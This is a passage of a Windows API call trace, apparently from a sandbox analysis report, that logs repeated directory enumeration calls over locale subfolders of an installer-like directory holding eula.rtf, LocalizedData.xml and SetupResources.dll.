ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dbd50 [0044.157] FindNextFileW (in: hFindFile=0x10dbd50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.157] FindNextFileW (in: hFindFile=0x10dbd50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.157] FindNextFileW (in: hFindFile=0x10dbd50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.157] FindNextFileW (in: hFindFile=0x10dbd50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.157] FindNextFileW (in: hFindFile=0x10dbd50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.157] FindClose (in: hFindFile=0x10dbd50 | out: hFindFile=0x10dbd50) returned 1 [0044.157] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.157] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1046", cAlternateFileName="")) returned 1 [0044.157] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc3d0 [0044.158] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.158] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.158] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.158] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.158] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.158] FindClose (in: hFindFile=0x10dc3d0 | out: hFindFile=0x10dc3d0) returned 1 [0044.158] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.158] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1049", cAlternateFileName="")) returned 1 [0044.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dbf90 [0044.158] FindNextFileW (in: hFindFile=0x10dbf90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.158] FindNextFileW (in: hFindFile=0x10dbf90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.158] FindNextFileW (in: hFindFile=0x10dbf90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.158] FindNextFileW (in: hFindFile=0x10dbf90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.159] FindNextFileW (in: hFindFile=0x10dbf90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.159] FindClose (in: hFindFile=0x10dbf90 | out: hFindFile=0x10dbf90) returned 1 [0044.159] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.159] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1053", cAlternateFileName="")) returned 1 [0044.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc710 [0044.159] FindNextFileW (in: hFindFile=0x10dc710, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.159] FindNextFileW (in: hFindFile=0x10dc710, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.159] FindNextFileW (in: hFindFile=0x10dc710, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.159] FindNextFileW (in: hFindFile=0x10dc710, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.160] FindNextFileW (in: hFindFile=0x10dc710, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.160] FindClose (in: hFindFile=0x10dc710 | out: hFindFile=0x10dc710) returned 1 [0044.160] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.160] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1055", cAlternateFileName="")) returned 1 [0044.160] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dbdd0 [0044.160] FindNextFileW (in: hFindFile=0x10dbdd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.160] FindNextFileW (in: hFindFile=0x10dbdd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.160] FindNextFileW (in: hFindFile=0x10dbdd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.160] FindNextFileW (in: hFindFile=0x10dbdd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.161] FindNextFileW (in: hFindFile=0x10dbdd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.161] FindClose (in: hFindFile=0x10dbdd0 | out: hFindFile=0x10dbdd0) returned 1 [0044.161] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.161] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="2052", cAlternateFileName="")) returned 1 [0044.161] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dbfd0 [0044.161] FindNextFileW (in: hFindFile=0x10dbfd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.161] FindNextFileW (in: hFindFile=0x10dbfd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.161] FindNextFileW (in: hFindFile=0x10dbfd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.161] FindNextFileW (in: hFindFile=0x10dbfd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.161] FindNextFileW (in: hFindFile=0x10dbfd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.161] FindClose (in: hFindFile=0x10dbfd0 | out: hFindFile=0x10dbfd0) returned 1 [0044.161] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.161] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="2070", cAlternateFileName="")) returned 1 [0044.161] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dca50 [0044.162] FindNextFileW (in: hFindFile=0x10dca50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.162] FindNextFileW (in: hFindFile=0x10dca50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, 